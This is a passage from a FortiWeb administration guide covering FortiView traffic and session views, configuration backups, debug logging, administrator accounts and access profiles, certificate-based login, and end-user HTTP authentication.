For example, when you drill down into the 220.181.57.216 destination IP address under the Destinations tab, you will
see this web traffic data for the selected destination IP address:
Similarly, when you drill down into the Domains tab, you will see the same web traffic data for the selected domain(s).
Countries
Go to FortiView > Traffic > Countries.

From this window, you can see web traffic from each country:

FortiView 316
Use these settings along the top of the window to view and filter country data:
Click the Refresh icon to refresh the total web traffic data for
each country.
Click the Add Filter icon to filter web traffic data by country.
From here, you can either enter the country that you want to
filter, or click Country and select the country from the menu.
Alternatively, you can double-click a country in the list to filter
information for that country.
Use the View Type icon to select how FortiWeb presents the
country web traffic data. The default type is Table View. The
available types are:
l Table View
l Bubble Chart
l Country Map
Select the time period within which to view country web traffic
data.
When you select a country, you will see that country's HTTP Transactions, the service used, the HTTP version, and
bytes sent/received in the selected time period. You can also drill down into the following tabs to view more information
about the selected source: Destinations, Policies, Domains, HTTP Methods, HTTP Response Codes,
and URLs. For example, the Domains tab allows you to drill down into web traffic to domains coming from the
selected country:

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For example, when you drill down into the www.host9.com domain under the Domains tab, you will see this web
traffic data for the selected domain:
Similarly, when you drill down into the Policies tab, you will see web traffic data for the selected server policy and
country.
Sessions
FortiView's Sessions menu provides information about each session that FortiWeb monitors, including the following:
l Server policies
l Requests
l Established connection times
l Destination IP addresses
l Source ports
l Destination ports
All of this data helps you better understand users connecting to your network and how policies in your FortiWeb
configuration are monitoring them. You can even end individual sessions or groups of sessions as needed.
Sources
Go to FortiView > Sessions > Sources.

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From this window, you can see information about every source IP address that FortiWeb is currently monitoring,
including the total number of sessions, the total number of requests, and bytes sent/received of each source:
Use these settings along the top of the window to view source information:
Click the Refresh icon to refresh information about each

source.
Click the Add Filter icon to filter source information by

session, policy, and destination. From here, you can either
enter the parameter that you want to filter, or select the
parameter from the menu.
Alternatively, you can double-click the source to filter session
information by session, policy, and destination.
When you drill down into a source, you can view its Policies, Destinations, and Sessions. For example, the below
image shows the Policies tab. You can drill down into server-policy5 to view each source IP address that the policy is
monitoring:

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When you drill down into server-policy5, you will see this information for each source IP address:
Similarly, when you drill down into the Destinations tab, you will see session information for the selected destination IP
address(es).
Policies
Go to FortiView > Sessions > Policies.

From this window, you can see information about every server policy, including the total number of sessions, the total
number of requests, and bytes sent/received of each source:

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Use these settings along the top of the window to view session information:
Click the Refresh icon to refresh information about each

policy.
Click the Add Filter icon to filter policy information by source

and destination. From here, you can either enter the
parameter that you want to filter, or select the parameter from
the menu.
Alternatively, you can double-click the policy to filter policy
information by session, source, and destination.
If you drill down into a policy, you can view its Sources, Destinations, and Sessions. For example, the below image
shows the Destinations tab. You can drill down into any of the destination IP addresses:
When you drill down into the 1.1.1.1 destination, you will see this information about each source IP address going to the
selected destination under the selected policy:
Similarly, when you drill down into the Sources tab, you will see session information for the selected source IP address
(es) for that server policy.

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Ending sessions
You can end sessions in FortiView's Sessions menu under either the Sources or Policies submenu. Below is an
example that describes how to end sessions under the Sources submenu.
Go to FortiView > Sessions > Sources.
Drill down into a source. Alternatively, click the Add Filter icon and select a source.
Select the Destinations tab.
This example shows you how to end sessions going to a specific destination IP
address. You can end sessions from any tab, and the process is essentially the
same. To end sessions, you simply have to select a unique session or group of
sessions. For example, if you select the Policies tab for a specific source under
FortiView > Sessions > Sources, you can end sessions for a specific policy
there.
Similarly, if you go to FortiView > Sessions > Policies and select the
Destinations tab under a selected policy, you can end unique sessions or groups of
sessions for a specific policy going to a specific destination IP address as well.
Drill down into a destination. Alternatively, click the Add Filter icon and select a destination.
From the list of sources in that destination, select the source(s) that you want to end and right-click to open this menu:
End Session(s) End the selected session(s)
End All Sessions End all of the sessions displayed. For example, if you are viewing all of
the sessions for a source, all sessions from that source will be ended.
Similarly, if you are viewing all of the sessions for a destination IP
address, all sessions going to that destination will be ended.
Note: You can select multiple sessions by shift-clicking or control-clicking sessions.
See also

Backups 322
Backups
System > Maintenance > Backup & Restore enables you to:

l Create backup files of the system configuration and web protection profiles.
l Restore the system configuration or web protection profile from a previous backup. For details, see Restoring a
previous configuration on page 325.
l Update the firmware of the FortiWeb appliance. For details, see Updating the firmware on page 89.
Once you have tested your basic installation and verified that it functions correctly, create a backup. This “clean” backup
can be used to:
l Troubleshoot a non-functional configuration by comparing it with this functional baseline via a tool such as Diff. For
details, see Tools on page 829.
l Rapidly restore your installation to a simple yet working point. For details, see Restoring a previous configuration
on page 325.
l Batch-configure FortiWeb appliances by editing the file in a plain text editor, then uploading the finalized
configuration to multiple appliances. For details, see Restoring a previous configuration on page 325.
After you have a working deployment, back up the configuration again after any changes. This ensures that you can
rapidly restore your configuration exactly to its previous state if a change does not work as planned.
You can configure the appliance to periodically upload a backup to an FTP server.
See To back up the configuration via the web UI to an FTP/SFTP server on page
323.
Your deployment’s configuration is comprised of a few separate components. To make a complete configuration
backup, you must include the:
l Core configuration file
l Certificates, private keys, and custom error pages
l Vulnerability scan settings
l Web protection profiles
l Web server configuration files (see the documentation for your web servers’ operating systems or your preferred
third-party backup software)
Configuration backups do not include data such as logs and reports.
There are multiple methods that you can use to create a FortiWeb configuration backup. Use whichever one suits your
needs:
l To back up the configuration via the web UI on page 323
l To back up the configuration via the web UI to an FTP/SFTP server on page 323
l Backups on page 322

Backups 323
To back up the configuration via the web UI
1. Log in to the web UI as the admin administrator.

Other administrator accounts do not have the required permissions.
2. Go to System > Maintenance > Backup & Restore.
3. Select the Local Backup tab.
The top of the page displays the date and time of the last backup. (No date and time is displayed if the
configuration was never backed up, or you restored the firmware.)
4. Under Backup/Restore, select Backup.
5. Select either:
Backup entire configuration—Creates a full backup of the configuration that includes both the configuration file
(a CLI script) and other uploaded files, such as private keys, certificates, and error pages. You can choose whether
or not to Include Machine Learning Data.
Backup CLI configuration—Backs up the core configuration file only (a CLI script) and excludes any other
uploaded files and vulnerability scan settings.
Backup Web Protection Profile related configuration—Backs up the web protection profiles only.
6. If you would like to password-encrypt the backup files to .zip extension files before downloading them, enable
Encryption and type a password in Password.
7. Click Backup.
If your browser prompts you, navigate to the folder where you want to save the configuration file.
Click Save.
Your browser downloads the configuration file. The download time varies by the size of the configuration and the
specifications of the appliance’s hardware as well as the speed of your network connection. It can take several minutes.
To back up the configuration via the web UI to an FTP/SFTP server
Fortinet strongly recommends that you password-encrypt this backup, and store it in
a secure location. This method includes sensitive data such as your HTTPS
certificates’ private keys. Unauthorized access to private keys compromises the
security of all HTTPS requests using those certificates.
1. Go to System > Maintenance > Backup & Restore and select the FTP Backup tab.

3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special
characters. The maximum length is 63 characters.
FTP Protocol Select whether to connect to the server using FTP or SFTP.
FTP Server Type either the IP address or fully qualified domain name (FQDN) of the
server. The maximum length is 127 characters.

Backups 324
FTP Directory Type the directory path on the server where you want to store the backup file.
FTP Authentication Enable if the server requires that you provide a user name and password for
authentication, rather than allowing anonymous connections.
FTP User Type the user name that the FortiWeb appliance will use to authenticate with
the server. The maximum length is 127 characters.
This field appears only if you enable FTP Authentication on page 324.
FTP Password Type the password corresponding to the user account on the server. The
This field appears only if you enable FTP Authentication on page 324.
Backup Type Select either:

l Full Config—A full configuration backup that includes both the
configuration file and other uploaded files, such as private keys,
certificates, and error pages. Please note the machine learning data is
not included in the Full Config backup. To execute FTP backup
including the machine learning data, use CLI command execute
backup full-config-with-ML-data. See section "execute
backup full-config-with-ML-data“ in FortiWeb CLI Reference.
Note: You cannot restore a full configuration backup made via FTP/SFTP
by using the web UI. Instead, use the execute restore command in
the CLI.
l CLI Config—Only includes the core configuration file.
l WAF Config—Only includes the web protection profiles.
Encryption Enable to encrypt the backup file with a password.
Encryption Password Type the password that will be used to encrypt the backup file.
This field appears only if you enable Encryption on page 324.
Schedule Type Select either:

l Now—Initiate the backup immediately.
l Daily—Schedule a recurring backup for a specific day and time of the
week.
Days Select the specific days when you want the backup to occur.
This field is visible only if you set Schedule Type on page 324 to Daily.
Time Select the specific hour and minute of the day when you want the backup to
occur.
This field is visible only if you set Schedule Type on page 324 to Daily.
5. Click OK.
If you selected an immediate backup, the appliance connects to the server and uploads the backup.

Backups 325
Restoring a previous configuration
If you have downloaded configuration backups, you can upload one to revert the appliance’s configuration to that point.
Uploading a configuration file can also be used to configure many features of the
FortiWeb appliance in a single batch: download a configuration file backup, edit the
file in a plain text editor, then upload the finalized configuration.
To upload a configuration via the web UI
1. Go to System > Maintenance > Backup & Restore and select the Local Backup tab.

If you have made a configuration backup to an FTP server (see To back up the configuration via the web UI to an
FTP/SFTP server on page 323), you cannot restore it here. Instead, restore it by using the execute restore
command. For details, see the FortiWeb CLI Reference:
2. Select Restore.
3. Either enter the path and file name of the file to restore in the From File field, or click Browse to locate the file.
The file will have a .zip file extension.
4. If the backup was encrypted, enable Decryption, then in Password, provide the password that was used to
encrypt the backup file.
5. Click Restore to start the restoration of the selected configuration to a file.
Your web browser uploads the configuration file and the FortiWeb appliance restarts with the new configuration.
Time required to restore varies by the size of the file and the speed of your network connection. Your web UI
session will be terminated when the FortiWeb appliance restarts.
6. To continue using the web UI, if you have not changed the IP address and static routes of the web UI, simply
refresh the web page and log in again.
Otherwise, to access the web UI again, in your web browser, modify the URL t to match the new IP address of the
network interface.
For example, if you configured port1 with the IP address 10.10.10.5, you would browse to:
https://10.10.10.5
If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected
to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the
7. Upload any auxiliary configuration files such as certificates. These are only included in the configuration backup if
you used the CLI or FTP/SFTP server backup. Otherwise, you must upload them again manually.

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Debug log
System > Maintenance > Debug enables you to download debug log and upload debug symbol file.
Follow steps below to customize the debug logs:
1. Run commands similar to the following to capture the flow from the client (for example, host 10.0.8.104), and
activate the debug flow required:
FortiWeb # diagnose debug trace tcpdump filter "host 10.0.8.104"
FortiWeb # diagnose debug trace tcpdump interface port1
FortiWeb # diagnose debug flow filter client-ip 10.0.8.104
FortiWeb # diagnose debug flow filter flow-detail 7
FortiWeb # diagnose debug trace report start
2. Initiate HTTP request from this client (10.0.8.104) to the virtual server.
3. Stop collecting the information with the command below after some time:
FortiWeb # diagnose debug trace report stop
4. Download debug logs from System > Maintenance > Debug > Download .
The following files are supported:
l crash logs
l daemon logs
l kernel logs
l netstat logs
l coredump logs
l perf logs
l top logs

Debug log 327
l other logs
l entire configuration file
Note: To access this part of the web UI, your administrator’s account must have the prof_admin permission. For
details, see Permissions on page 56.

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Administrators
In its factory default configuration, FortiWeb has one administrator account named admin with a blank password. This
administrator has permissions that grant full access to FortiWeb’s features. When the admin user logs into FortiWeb
for the first time or imports a configuration file with a blank password, the user will be forced to change the password.
You can log into FortiWeb by the console, the telnet, or SSH to change the password. The admin user can't be deleted.
To prevent accidental changes to the configuration, it’s best if only network administrators—and if possible, only a
single person—use the admin account. You can use the admin administrator account to configure more accounts for
other people. Accounts can be made with different scopes of access. If you require such role-based access control
(RBAC) restrictions, or if you simply want to harden security or prevent inadvertent changes to other administrators’
areas, you can do so via access profiles. See Configuring access profiles on page 331. Similarly, you can divide policies
and protected host names and assign them to separate administrator accounts. For details, see Administrative domains
(ADOMs) on page 52.
For example, you could create an account for a security auditor who must only be able to view the configuration and
logs, but not change them.
Administrators may be able to access the web UI, the CLI, and use ping/traceroute through the network, depending on:
l The account’s trusted hosts. For details, see Trusted hosts on page 59.
l The protocols enabled for each of the FortiWeb appliance’s network interfaces. For details, see Configuring the
network interfaces on page 126.
l Permissions. For details, see Permissions on page 56.
To determine which administrators are currently logged in, use the CLI command get system logged-users. For
details, see the FortiWeb CLI Reference:
To prevent multiple administrators from logging in simultaneously, which could

allow them to inadvertently overwrite each other’s changes, enable How to use the
web UI on page 55. For details, see Global web UI & CLI settings on page 59.
To configure an administrator account
1. Before configuring the account:

l Configure the access profile that will govern the account’s permissions. For details, see Configuring access
profiles on page 331.
l If ADOMs are enabled, define the ADOM which will be assigned to this account. For details, see Defining
ADOMs on page 53.
l If you already have accounts that are defined on an LDAP (e.g., Microsoft Active Directory or IBM Lotus
Domino) or RADIUS server, FortiWeb can query the server in order to authenticate your administrators.
Configure the query set. For details, see Grouping remote authentication queries and certificates for
administrators on page 333.

Administrators 329
3. Click Create New to create a new account, or click Edit to change configurations for an existing account.
Administrator Type the name of the administrator account, such as admin1 or

[email protected], that can be referenced in other parts of the
configuration.
Note: This is the user name that the administrator must provide when logging
in to the CLI or web UI. If using an external authentication server such as
RADIUS or Active Directory, this name will be passed to the server via the
remote authentication query.
Type Select either:

l Local User—Authenticate using an account whose name, password,
and other settings are stored locally, in the FortiWeb appliance’s
configuration.
l Remote User—Authenticate by querying the remote server that stores
the account’s name and password.
If there is only one account configured on FortiWeb (i.e. the admin user),
before setting it as a remote user, do make sure the remote
authentication server is safe and stable. Once the remote authentication
server is damaged and the account credentials are lost, FortiWeb can't
recover it, which means the only one account that can log in to FortiWeb
is lost. The configurations will be lost and you need to re-install FortiWeb
image.
Also configure Admin User Group on page 329.
Password Type a password for the administrator account.

This field is available only when Type on page 329 is Local User.
Tip: Set a strong password for every administrator account, and change the
password regularly. Failure to maintain the password of every administrator
account could compromise the security of your FortiWeb appliance. As such, it
can constitute a violation of PCI DSS compliance and is against best
practices. For improved security, the password should be at least eight
characters long, be sufficiently complex, and be changed regularly.
Confirm Password Re-enter the password to confirm its spelling.

This field is available only when Type on page 329 is Local User.
Admin User Group Select a remote authentication query set. For details, see Grouping remote
authentication queries and certificates for administrators on page 333.
This field is available only when Type on page 329 is Remote User.
Caution: Secure your authentication server and, if possible, all query traffic to
it. Compromise of the authentication server could allow attackers to gain
administrative access to your FortiWeb.

Administrators 330
Wildcard Specifies whether the user-configured access profile in a remote

authentication server overrides the access profile that is configured in
FortiWeb.
This field is available only when Type on page 329 is Remote User.
Trusted Host #1 Type the source IP address(es) and netmask from which the administrator is
allowed to log in to the FortiWeb appliance. If PING is enabled, this is also a
Trusted Host #2 source IP address to which FortiWeb will respond when it receives a ping or
traceroute signal.
Trusted Host #3 Trusted areas can be single hosts, subnets, or a mixture. For details, see
Trusted hosts on page 59.
To allow logins only from one computer, enter its IP address and 32- or 128-
bit netmask in all Trusted Host fields:
192.0.2.2/32
2001:0db8:85a3:::8a2e:0370:7334/128
Caution: If you configure trusted hosts, do so for all administrator accounts.
Failure to do so means that all accounts are still exposed to the risk of brute
force login attacks. This is because if you leave even one administrator
account unrestricted (i.e. any of its Trusted Host settings is
0.0.0.0/0.0.0.0), the FortiWeb appliance must allow login attempts on
all network interfaces where remote administrative protocols are enabled, and
wait until after a login attempt has been received in order to check that user
name’s trusted hosts list.
Tip: If you allow login from the Internet, set a longer and more complex
Password on page 329, and enable only secure administrative access
protocols (HTTPS on page 127 and SSH on page 128) to minimize the
security risk. For details about administrative access protocols, see
Configuring the network interfaces on page 126. Also restrict trusted hosts to
IPs in your administrator’s geographical area.
Tip: For improved security, restrict all trusted host addresses to single IP
addresses of computer(s) from which only this administrator will log in.
Access Profile Select an existing access profile to grant permissions for this administrator
account. For details about permissions, see Configuring access profiles on
page 331 and Permissions on page 56.
You can select prof_admin, a special access profile used by the admin
administrator account. The new administrator, without prof_admin profile,
would not be able to reset passwords for other administrator users.
This option does not appear for the admin administrator account, which by
definition always uses the prof_admin access profile.
Tip: Alternatively, if your administrator accounts authenticate via a RADIUS
query, you can override this setting and assign their access profile through the
RADIUS server using RFC 2548 (http://www.ietf.org/rfc/rfc2548.txt)
Microsoft Vendor-specific RADIUS Attributes.
On the RADIUS server, create an attribute named:
ATTRIBUTE Fortinet-Access-Profile 6
then set its value to be the name of the access profile that you want to assign
to this account. Finally, in the CLI, enter the command to enable the override:

Administrators 331
config system admin

edit "admin1"
set accprofile-override enable
end
If none is assigned on the RADIUS server, or if it does not match the name of
an existing access profile on FortiWeb, FortiWeb will fail back to use the one
locally assigned by this setting.
Force Password Change Enable to force the administrator to change the password for next login.
This field can be configured only when Password Policy is enabled in
System > Admin > Settings.
Administrative Domain Select which existing ADOM to assign this administrator account to it, and to
restrict its permissions to that ADOM. For details about permissions, see
Configuring access profiles on page 331 and Permissions on page 56.
This option appears only if ADOMs are enabled, and if Administrative Domain
on page 331 is not prof_admin. (prof_admin implies global access, with no
restriction to an ADOM.)
5. Click OK.
See also

l Grouping remote authentication queries and certificates for administrators on page 333
l Trusted hosts on page 59
Configuring access profiles
Access profiles, together with ADOMs, determine administrator accounts’ permissions.

When an administrator has only read access to a feature, the administrator can access the web UI page for that feature,
and can use the get and show CLI command for that feature, but cannot make changes to the configuration. There are
no Create or Apply buttons, or config CLI commands. Lists display only the View icon instead of icons for Edit,
Delete or other modification commands. Write access is required for modification of any kind.
In larger companies where multiple administrators divide the share of work, access profiles often reflect the specific job
that each administrator does (“role”), such as user account creation or log auditing. Access profiles can limit each
administrator account to their assigned role. This is sometimes called role-based access control (RBAC).
The prof_admin access profile, a special access profile assigned to the admin administrator account and required by
it, does not appear in the list of access profiles. It exists by default and cannot be changed or deleted, and consists of
essentially UNIX root-like permissions.

Administrators 332
Even if you assign the prof_admin access profile to other administrators, they will
not have all of the same permissions as the admin account. The admin account
has some special permissions, such as the ability to reset administrator passwords,
that are inherent in that account only. Other accounts should not be considered a
complete substitute.
If you create more administrator accounts, whether to harden security or simply to prevent accidental modification,
create other access profiles with the minimal degrees and areas of access that each role requires. Then assign each
administrator account the appropriate role-based access profile.
For example, for an administrator whose only role is to audit the log messages, you might make an access profile
named auditor that only has Read permissions to the Log & Report area.
To configure an access profile
1. Go to System > Admin > Profile.

A dialog appears.
3. In Profile Name, type a unique name that can be referenced by other parts of the configuration. The maximum
4. Configure the permissions options:
For each row associated with an area of the configuration, mark either the None, Read Only, or Read-Write radio
buttons to grant that type of permission. For a list of features governed by each access control area, see
Permissions on page 56.
Click the Read Only check box to select or deselect all read categories.

Administrators 333
Click the Read-Write check box select or deselect all write categories.
Unlike the other rows, whose scope is an area of the configuration, the Maintenance row does not affect the
configuration. Instead, it indicates whether the administrator can do special system operations such as changing
the firmware.
5. Click OK.
See also

Grouping remote authentication queries and certificates for

administrators
When using LDAP, RADIUS queries or certificates to authenticate FortiWeb administrators, you must group queries or
certificates for administrator accounts into a single set so that it can be used when configuring an administrator account.
To configure an administrator remote authentication query group
1. Before you can add administrators to a group, you must first define an LDAP/RADIUS/TACACS+ query or a PKI
user whose result set includes those administrator accounts. For details, see Configuring an LDAP server on page
343, Configuring a RADIUS server on page 347, Grouping remote authentication queries and certificates for
administrators on page 333, and To create a PKI user on page 335.
2. Go to User > User Group > Admin Group.
permission to items in the Auth Users category. For details, see Permissions on page 56.
4. In Name, type a name that can be referenced by other parts of the configuration, such as admin-remote-
auth1. Do not use special characters. The maximum length is 63 characters.
5. Click OK.
The Create New button for this item, below its name, will no longer be greyed out, indicating that it has become
available.
7. For User Type, select either the LDAP User, RADIUS User, PKI User, or TACACS+ query type.
8. From Name, select the name of an existing LDAP/RADIUS/TACACS+ query or PKI user. The contents of the drop-
down list vary by your previous selection in User Type.
9. Click OK.
10. Repeat the previous steps for each query that you want to use when an account using this query group attempts to
authenticate.
11. To apply the set of queries, select the group name for Admin User Group on page 329 when you configure an
administrator account. For details, see Administrators on page 328.

Administrators 334
Changing an administrator’s password
If an administrator has forgotten or lost their password, or if you need to change an administrator account’s password
and you do not know its current password, you can reset the password.
If you forget the password of the admin administrator, you can reset the FortiWeb to its default state (including the
default administrator account and password) by restoring the firmware. For instructions, see Restoring firmware (“clean
install”) on page 859.
To change an administrator account’s password
If the account authenticates by FortiWeb querying a remote LDAP or RADIUS

server, you cannot use this procedure. The Change Password button will be
greyed out and unavailable for accounts that use remote authentication. Instead,
log in to the remote authentication server and reset the password there.
1. Log in as the admin administrator account.

Alternatively, if you know the current password for the account whose password you want to change, you may log in
with any administrator account whose access profile permits Read and Write access to items in the Admin Users
category.
3. Mark the check box in the row of the account whose password you want to change.
5. The Old Password field does not appear for other administrator accounts if you are logged in as the admin
administrator. If you logged in using a different account, however, in the Old Password field, type the current
password for the account whose password you are resetting.
Note: The admin account does not have an old password initially.
6. In the New Password and Confirm Password fields, type the new password and confirm its spelling.
7. Click OK.
If you change the password for the admin administrator account, the FortiWeb appliance logs you out. To continue
using the web UI, you must log in. The new password takes effect the next time that account logs in.
Certificate-based Web UI login
Different from username/password authentication, certificate-based authentication is the use of a digital certificate,
which includes asymmetric cryptography, to identify a user before granting access to a resource. FortiWeb supports the
certificate-based authentication for administrators' Web UI login. FortiWeb control an administrator's login by verifying
his certificate if he connects to the Web UI through HTTPS. By default, the certificate-based authentication can coexist
with original username/password authentication.
l If you connect to the Web UI through HTTPS, FortiWeb first verifies the certificate you provided.
l If your certificate is valid, then your access to Web UI will be granted (the username/password login page will
not be displayed).
l If you fail in the certificate authentication, you will be directed to the username/password login page.
l If you connect to the Web UI through HTTP, FortiWeb will only verify your access by the username/password.

Administrators 335
However, FortiWeb can also operate with only the certificate-based authentication through the CLI:
set admin-https-pki-required {enable | disable}
end
When admin-https-pki-required is enabled, the certificate-based authentication is the only authentication

method that FortiWeb uses to verify the Web UI accesses. The administrator's access to the Web UI must be in HTTPS
and a correct certificate must be provided for the authentication to be successful. The original username/password
authentication will be disabled (No username/password login page will be displayed). If you fail the certificate
authentication process, you will not be logged in to the web UI.
To apply certificate-based authentication to an administrator, complete these tasks:
1. To upload the CA's certificate of the administrator's certificate on page 335
2. To create a PKI user on page 335
3. To add the PKI user to an Admin group on page 336
4. To apply the Admin group to an administrator on page 336
To upload the CA's certificate of the administrator's certificate

2. Go to System > Admin > Certificates and select the Admin Cert CA tab.
You can click View Certificate Detail to view the selected certificate’s subject, range of dates within which the
certificate is valid, version number, serial number, and extensions.
3. To upload a certificate, click Import.
4. To select a certificate, do one of the following:
l Enable SCEP and in the field to the right of it, type the URL of the applicable Simple Certificate Enrollment
Protocol server. (SCEP allows routers and other intermediary network devices to obtain certificates.)
To specify a specific CA, type an identifier in the field below the URL.
l Enable Local PC and browse to find a certificate file.
5. Click OK.
To create a PKI user
1. Go to User > PKI User.
2. You can click Edit to edit the selected PKI user.
3. To create a PKI user, click Create New.
Name Enter the PKI user name for the administrator.
Subject Enter the subject of the administrator's certificate, such as "C = US,
ST = Washington, O = yourorganization, CN =
yourname".
CA Select the CA certificate of the administrator's certificate. All the
certificates imported in System > Admin > Admin Cert CA will be

Administrators 336
listed here. For details, see To upload the CA's certificate of the
administrator's certificate on page 335.
5. Click OK.
To add the PKI user to an Admin group
1. Go to User > User Group > Admin Group.
To access this part of the web UI, your administrator's account access profile must have Read and
Writepermission to items in the Auth Users category. For details, see Permissions on page 56.
3. In Name, type a name that can be referenced by other parts of the configuration, such as admin-remote-
auth1. Do not use special characters. The maximum length is 63 characters.
4. Click OK.
The Create New button for this item, below its name, will no longer be greyed out, indicating that it has become
available.
6. For User Type, select the PKI User type.
7. From Name, select the name of an existing PKI users that you created in User > PKI User > PKI User. For
details, see To create a PKI user on page 335.
8. Click OK.
To apply the Admin group to an administrator
Go to System > Admin > Administrators and apply the Admin group containing the PKI user to a corresponding
administrator by selecting Remote User as the Type and selecting the group in Admin User Group.
Administrators have to install their certificates to their local browsers first. Every time you use the browser to connect to
FortiWeb's Web UI through HTTPS, you will be required to select one of the certificates installed in the browser for
authenticate yourself to FortiWeb. FortiWeb verifies the certificate you provided with the PKI users in Admin groups. If
you are succeed in the authentication, you will be associated with the administrator account that the matched PKI user
and Admin group are applied to, and the access profile will be applied to you.

Users 337
Users
On FortiWeb, user accounts do not log in to the administrative web UI.

Instead, they are used to add HTTP-based authentication and authorize each request from clients that are connecting
through FortiWeb to your protected web servers.
Best practices dictate that each person accessing your websites should have his or her own account so that security
audits can reliably associate a login event with a specific person. Accounts should be restricted to URLs for which they
are authorized. Authorization may be derived from a person’s role in the organization.
For example, a CFO would reasonably have access to all financial data, but a manufacturing technician usually should
not. Such segregation of duties in financial regulation schemes often translates to role-based access control (RBAC) in
information systems, which you can implement through FortiWeb’s HTTP authentication and authorization rules.
For details, see Offloading HTTP authentication & authorization on page 340.
User authentication is not supported in all operation modes. For details, see
Supported features in each operation mode on page 71.
See also
l Authentication styles on page 337

l Offloading HTTP authentication & authorization on page 340
l Example: Enforcing complex passwords on page 379
Authentication styles
Multiple different methods exist for end-users to authenticate with websites. These methods have different
appearances and features.
Via the “Authorization:” header in the HTTP/HTTPS protocol
The HTTP/HTTPS protocol itself (RFC 2965; http://tools.ietf.org/html/rfc2965) supports simple authentication via the
Authorization: and WWW-Authenticate: fields in HTTP headers.
When a website requires authentication in order to authorize access to a URL, it replies with an HTTP 401
Authorization Required response. This elicits a prompt from the web browser.

Users 338
An HTTP authentication prompt in the Google Chrome browser
If the user supplies credentials, his or her web browser includes them in a second request for the same page. If the
credentials are valid, the web server returns the requested URL; otherwise, it repeats its 401 Authorization
Required response.
This type of authorization is handled at the web server layer of the host’s software stack, independently of the static
HTML, dynamic pages and runtime interpreters (PHP, ColdFusion, Python, etc.), or database (MySQL, PostgreSQL,
etc.) of the web applications it may host, and as a result can span multiple web applications. It also may be offloaded to
a FortiWeb. For details, see Offloading HTTP authentication & authorization on page 340.
Because the HTTP protocol itself is essentially stateless—no request is required to have knowledge of or be related to
any other request—as a practical matter, many browsers cache this data so that users will not have to re-enter the same
user name and password over and over again, for every page that they visit on the website. (For this reason, one-time
passwords are generally impractical. They effectively contradict the reusability of the cache.) However, in payment for
this initial convenience, logouts are basically impossible unless the user clears his or her browser’s cache and/or closes
the window (which can also clear the cache).
Accounting, if any, of this type of authentication is handled by the web server (or, if you have offloaded authentication to
FortiWeb, it may be accounted for in logs, depending on your configuration of Alert Type).
While some supported WWW-Authenticate: methods encrypt passwords, due to

a lack of other cryptographic features, if used with HTTP, it is not as secure as
HTTPS. For stronger protection, use HTTP-based authentication with HTTPS.
Via forms embedded in the HTML
Web applications can authenticate users by including <input> tags for each login credential in an <form> buttons,
text fields, check boxes, and other inputs on a web application’s login page such as /login.asp.

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An authentication form on the Fortinet Technical Support login web page
This method does not rely on the mechanism defined in the HTTP protocol. Instead, when the user submits the form,
the web application uses form inputs to construct server-side sessions, client-side session cookies, or parameters in the
URL such as JSPSESSIONID in order to create statefulness.
This type of authorization occurs at the web application layer of the server’s software stack. As a result, when visiting
different web applications on the same host, users may have to authenticate multiple times, unless the web
applications share a single sign-on (SSO) framework.
Authorization for each subsequent requested URL then occurs based upon whether the user is in the logged-in state, or
the logged-out state, and possibly other implemented conditions such as user groups and permissions. Dynamic page
content may change based upon knowledge of the user’s preferences. In addition to a logout button, this method also
often adds session timeouts. However, depending on the implementation, it often may only work properly if the client
supports—and accepts—cookies.
Accounting, if any, of this type of authentication is handled by the web application or servlet.
This type of authentication cannot be offloaded to FortiWeb, but can be protected using its features. For example, you
can use FortiWeb to enforce complex passwords by applying an input rule. Depending on your operation mode (see
Supported features in each operation mode on page 71), you might want to see:
l Protecting against cookie poisoning and other cookie-based attacks on page 450
l Blocking known attacks & data leaks on page 461
l Validating parameters (“input rules”) on page 519
l Preventing tampering with hidden inputs on page 524
l "Specifying URLs allowed to initiate sessions" on page 1
If used within the content of HTTP, it is not as secure as HTTPS. For stronger
protection, use form-based authentication with HTTPS.

Users 340
Via a personal certificate
Alternatively or additionally to logging in by providing a password, clients can present an X.509 v3 personal certificate.
This can be a good choice for large organizations where:
l entering a password is onerous due to password length/complexity policies or the nature of the device (e.g. small
touch screens on iPhone or Android smart phones, or highly secure environments)
l you control the endpoint devices, so it is possible to install personal certificates
If your clients will connect to your websites using HTTPS, you can configure FortiWeb to require clients to present a
personal certificate during the handshake in order to confirm their identities. This is sometimes called public key
infrastructure (PKI) authentication (RFC 5280).
A personal certificate prompt in Microsoft Internet Explorer
For details, see How to apply PKI client authentication (personal certificates) on page 411.
Offloading HTTP authentication & authorization
If a website does not support RFC 2617 (http://tools.ietf.org/html/rfc2617) HTTP authentication on its own, nor does it
provide HTML form-based authentication, you can use a FortiWeb appliance to authenticate HTTP/HTTPS clients
before they are permitted to access a web page.
User authentication is not supported in all operation modes. For details, see
Supported features in each operation mode on page 71.
Authentication can use either locally-defined accounts or remotely-defined accounts whose credentials are confirmed
with the authentication following authentication servers:
l LDAP queries
l RADIUS queries
l NTLM queries
l KDC queries
l SAML queries
l TACACS+ queries

Users 341
based upon the end-user’s confirmed identity or URL he or she is requesting.

FortiWeb then applies rules for that account to determine whether to authorize each of the user’s HTTP/HTTPS
requests.
HTTP-based authentication provided by your FortiWeb can be used in conjunction with a website that already has
authentication. However, it is usually used as a substitute for a website that lacks it, or where you have disabled it in
order to offload it to the FortiWeb for performance reasons.
Some compliance schemes, including PCI DSS, require that each person have sole
access to his or her account, and that account be restricted from sensitive data such
as cardholder information unless it has a business need-to-know. Be aware of such
requirements before you begin. This can impact the number of accounts that you
must create, as well as the number and scope of authorization rules. Violations can
be expensive in terms of higher processing fees, being barred from payment
transactions, and, in case of a security breach, penalties of up to $500,000 per non-
compliance.
To configure and activate end-user accounts
You can also require the end-user to present a personal certificate in order to securely authenticate. For details, see
How to apply PKI client authentication (personal certificates) on page 411.
1. Define user accounts in either or both of the following ways:
lIf you want to define end-user accounts on the FortiWeb, create a user name and password record for each
user. For details, see Configuring local end-user accounts on page 342.
l If end-user account credentials are already defined on a remote authentication server, configure a query to
that server. For details, see Configuring an LDAP server on page 343, Configuring a Terminal Access
Controller Access Control System (TACACS)+ server on page 352, or Configuring an NTLM server on page
349.
2. Group accounts and queries to create user groups. See Grouping users on page 354.
3. Configure authorization rules for each user group. See Applying user groups to an authorization realm on page 355.
4. Group authorization rules into an authorization policy. See Grouping authorization rules on page 357.
5. Select the authorization policy in an inline protection profile. See Configuring a protection profile for inline
topologies on page 223
6. Select the inline protection profile in a server policy. See Configuring an HTTP server policy on page 242.
When you have configured HTTP authentication
1. If the client’s initial request does not already include an Authorization: field in its HTTP header, the FortiWeb
